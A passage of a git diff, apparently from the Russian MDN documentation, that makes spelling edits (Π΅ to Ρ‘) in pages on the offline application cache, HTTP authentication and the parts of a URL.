- <li>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ посСщаСт страницу со Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>manifest</code> ΠΈ кэша прилоТСния Π½Π΅ сущСствуСт, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ всС ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ Ρ„Π°ΠΉΠ»Π° манифСста, создавая Ρ‚Π΅ΠΌ самым ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ кэша прилоТСния.</li>
+ <li>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ посСщаСт страницу со Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>manifest</code> ΠΈ кэша прилоТСния Π½Π΅ сущСствуСт, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ всС ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ Ρ„Π°ΠΉΠ»Π° манифСста, создавая Ρ‚Π΅ΠΌ самым ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ кэша прилоТСния.</li>
<li>ΠŸΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ посСщСния Π΄Π°Π½Π½ΠΎΠΉ страницы приводят ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… рСсурсов, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² Ρ„Π°ΠΉΠ»Π΅ манифСста, ΡƒΠΆΠ΅ ΠΈΠ· кэша прилоТСния (Π½Π΅ с сСрвСра). К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ‚Π°ΠΊΠΆΠ΅ посылаСт событиС <code>checking</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code><a href="/en-US/docs/DOM/window.applicationCache" title="DOM/window.applicationCache">window.applicationCache</a></code> ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Ρ„Π°ΠΉΠ» манифСста Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ HTTP.</li>
<li>Если тСкущая Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Π°Ρ копия манифСста совпадаСт со скачанной, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ посылаСт событиС <code>noupdate</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code>applicationCache</code>, Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ процСсс обновлСния. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ссли Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ рСсурсы Π½Π° сторонС сСрвСра, Π²Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈ Ρ„Π°ΠΉΠ» манифСста, Ρ‚Π΅ΠΌ самым давая Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· рСсурсов Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ.</li>
<li>Если Ρ„Π°ΠΉΠ» манифСста измСнился, Ρ‚ΠΎ всС пСрСчислСнныС Π² Π½Ρ‘ΠΌ Ρ„Π°ΠΉΠ»Ρ‹, Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² кэш с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29" title="nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>, ΠΏΠΎΠΏΠ°Π΄Π°ΡŽΡ‚ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ кэш с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ» ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ HTTP. Π’ΠΎ врСмя обновлСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° Π² этом Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΌ кэшС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ посылаСт событиС <code>progress</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code>applicationCache</code>. Если происходит ошибка, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ посылаСт событиС <code>error</code>, Π° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ прСкращаСтся.</li>
- <li>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ всС Ρ„Π°ΠΉΠ»Ρ‹, ΠΎΠ½ΠΈ автоматичСски ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² настоящий ΠΎΡ„Ρ„Π»Π°ΠΉΠ½-кэш, Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code>applicationCache</code> посылаСтся событиС <code>cached</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΡƒΠΆΠ΅ Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ· кэша, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ пСрСрисуСтся, ΠΏΠΎΠΊΠ° страница Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° (Π½Π΅Π²Π°ΠΆΠ½ΠΎ ΠΊΠ°ΠΊ, Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ).</li>
+ <li>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ всС Ρ„Π°ΠΉΠ»Ρ‹, ΠΎΠ½ΠΈ автоматичСски ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² настоящий ΠΎΡ„Ρ„Π»Π°ΠΉΠ½-кэш, Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code>applicationCache</code> посылаСтся событиС <code>cached</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΡƒΠΆΠ΅ Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ· кэша, ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ пСрСрисуСтся, ΠΏΠΎΠΊΠ° страница Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° (Π½Π΅Π²Π°ΠΆΠ½ΠΎ ΠΊΠ°ΠΊ, Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ).</li>
</ol>
<h2 id="ΠœΠ΅ΡΡ‚ΠΎ_хранСния_ΠΈ_очистка_ΠΎΡ„Ρ„Π»Π°ΠΉΠ½-кэша">ΠœΠ΅ΡΡ‚ΠΎ хранСния ΠΈ очистка ΠΎΡ„Ρ„Π»Π°ΠΉΠ½-кэша</h2>
<p>Π’ Chrome ΠΎΡ„Ρ„Π»Π°ΠΉΠ½-кэш ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ, Π²Ρ‹Π±Ρ€Π°Π² Β«ΠžΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ...Β» Π² настройках ΠΈΠ»ΠΈ пСрСйдя Π½Π° адрСс <a title="chrome://appcache-internals/">chrome://appcache-internals/</a>. Π£ Safari Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠΈΠΉ ΠΏΡƒΠ½ΠΊΡ‚ Β«ΠžΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ кэш» Π² настройках, Π½ΠΎ для этого Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Β  ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ пСрСзапуск Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
diff --git a/files/ru/web/http/authentication/index.html b/files/ru/web/http/authentication/index.html
index 8896a66039..4455fff42a 100644
--- a/files/ru/web/http/authentication/index.html
+++ b/files/ru/web/http/authentication/index.html
@@ -10,7 +10,7 @@ original_slug: Web/HTTP/Авторизация
---
<div>{{HTTPSidebar}}</div>
-<p class="summary">HTTP прСдоставляСт Π½Π°Π±ΠΎΡ€ инструмСнтов для разграничСния доступа ΠΊ рСсурсам и Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ. Π‘Π°ΠΌΠΎΠΉ распространСнной схСмой HTTP Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ являСтся "Basic" (базовая) авторизация. Π”Π°Π½Π½ΠΎΠ΅ руководство описываСт основныС возмоТности HTTP Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈΒ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ способы ограничСния доступа ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ сСрвСру с Π΅Π΅ использованиСм.</p>
+<p class="summary">HTTP прСдоставляСт Π½Π°Π±ΠΎΡ€ инструмСнтов для разграничСния доступа ΠΊ рСсурсам и Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ. Π‘Π°ΠΌΠΎΠΉ распространённой схСмой HTTP Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ являСтся "Basic" (базовая) авторизация. Π”Π°Π½Π½ΠΎΠ΅ руководство описываСт основныС возмоТности HTTP Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈΒ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ способы ограничСния доступа ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ сСрвСру с Π΅Ρ‘ использованиСм.</p>
<h2 id="ΠžΠ±Ρ‰ΠΈΠΉ_ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ_HTTP_Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ">ΠžΠ±Ρ‰ΠΈΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΒ HTTP Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ</h2>
@@ -24,9 +24,9 @@ original_slug: Web/HTTP/Авторизация
<p>Π­Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ запроса ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для <em>прокси-Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ</em>. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΎΡ‚Π²Π΅Ρ‚ посылаСт ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΉ прокси-сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ±Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, для Π½ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ€Π°Π·Π½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ ΠΊΠΎΠ΄Ρ‹ статуса ΠΎΡ‚Π²Π΅Ρ‚Π°. Π’ случаС с <em>прокси</em>, статус-ΠΊΠΎΠ΄ запроса {{HTTPStatus("407")}} (Proxy Authentication Required) ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Proxy-Authenticate")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит хотя Π±Ρ‹ один запрос, относящийся ΠΊ прокси-Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π° для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… прокси-сСрвСру ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Proxy-Authorization")}}.</p>
-<h3 id="Доступ_Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½">Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½</h3>
+<h3 id="Доступ_Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½">Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½</h3>
-<p>Если (прокси) сСрвСр ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Π΅ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ подходят для доступа ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ рСсурсу, сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ со статус ΠΊΠΎΠ΄ΠΎΠΌΒ {{HTTPStatus("403")}} <code>Forbidden</code>. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ статус ΠΊΠΎΠ΄Π°Β {{HTTPStatus("401")}} <code>Unauthorized</code>Β ΠΈΠ»ΠΈΒ {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутСнтификация для этого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π°.</p>
+<p>Если (прокси) сСрвСр ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Π΅ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ подходят для доступа ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ рСсурсу, сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ со статус ΠΊΠΎΠ΄ΠΎΠΌΒ {{HTTPStatus("403")}} <code>Forbidden</code>. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ статус ΠΊΠΎΠ΄Π°Β {{HTTPStatus("401")}} <code>Unauthorized</code>Β ΠΈΠ»ΠΈΒ {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутСнтификация для этого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π°.</p>
<h3 id="АутСнтификация_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">АутСнтификация с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h3>
diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html
index debd21c8bf..279ebe5439 100644
--- a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html
+++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html
@@ -140,14 +140,14 @@ urn:ietf:rfc:7230
<dl>
<dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>?key1=value1&amp;key2=value2</code> - это Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, прСдоставляСмыС Π’Π΅Π±-сСрвСру. Π­Ρ‚ΠΎ список ΠΏΠ°Ρ€ "ΠΊΠ»ΡŽΡ‡=Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅", Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… символом <code>&amp;</code>Β . Π’Π΅Π±-сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΊΠ°ΠΊ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ инструкции, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с рСсурсом ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π’Π΅Π±-сСрвСр ΠΈΠΌΠ΅Π΅Ρ‚ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° насчСт ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΈ СдинствСнный Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ способ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Π’Π΅Π±-сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ - это ΡΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΡ‚ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π’Π΅Π±-сСрвСр.</dd>
+ <dd><code>?key1=value1&amp;key2=value2</code> - это Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, прСдоставляСмыС Π’Π΅Π±-сСрвСру. Π­Ρ‚ΠΎ список ΠΏΠ°Ρ€ "ΠΊΠ»ΡŽΡ‡=Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅", Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… символом <code>&amp;</code>Β . Π’Π΅Π±-сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΊΠ°ΠΊ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ инструкции, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с рСсурсом ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π’Π΅Π±-сСрвСр ΠΈΠΌΠ΅Π΅Ρ‚ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° насчёт ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΈ СдинствСнный Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ способ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Π’Π΅Π±-сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ эти ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ - это ΡΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΡ‚ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π’Π΅Π±-сСрвСр.</dd>
</dl>
<h3 id="Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚">Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚</h3>
<dl>
<dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>#SomewhereInTheDocument</code>Β - это "ΡΠΊΠΎΡ€ΡŒ" Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ рСсурса. Π―ΠΊΠΎΡ€ΡŒ прСдставляСт собой Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ "Π·Π°ΠΊΠ»Π°Π΄ΠΊΠΈ" Π²Π½ΡƒΡ‚Ρ€ΠΈ рСсурса, давая Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΡƒΒ  ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ содСрТимоС с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ мСста. Π’Β HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΡ€ΠΎΠ»Π»ΠΈΡ‚ΡŒ ΠΊ Ρ‚ΠΎΡ‡ΠΊΠ΅ Π³Π΄Π΅ ΡΠΊΠΎΡ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Π° Π½Π° Π°ΡƒΠ΄ΠΈΠΎ/Π²ΠΈΠ΄Π΅ΠΎ-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ браузСр попытаСтся ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° врСмя, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π² якорС. Π’Π°ΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰Π°ΡΡΡ с # - Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ пСрСсылаСтся сСрвСру Π² запросС.</dd>
+ <dd><code>#SomewhereInTheDocument</code>Β - это "ΡΠΊΠΎΡ€ΡŒ" Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ рСсурса. Π―ΠΊΠΎΡ€ΡŒ прСдставляСт собой Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ "Π·Π°ΠΊΠ»Π°Π΄ΠΊΠΈ" Π²Π½ΡƒΡ‚Ρ€ΠΈ рСсурса, давая Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΡƒΒ  ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ содСрТимоС с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ мСста. Π’Β HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΡ€ΠΎΠ»Π»ΠΈΡ‚ΡŒ ΠΊ Ρ‚ΠΎΡ‡ΠΊΠ΅ Π³Π΄Π΅ ΡΠΊΠΎΡ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Π° Π½Π° Π°ΡƒΠ΄ΠΈΠΎ/Π²ΠΈΠ΄Π΅ΠΎ-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ браузСр попытаСтся 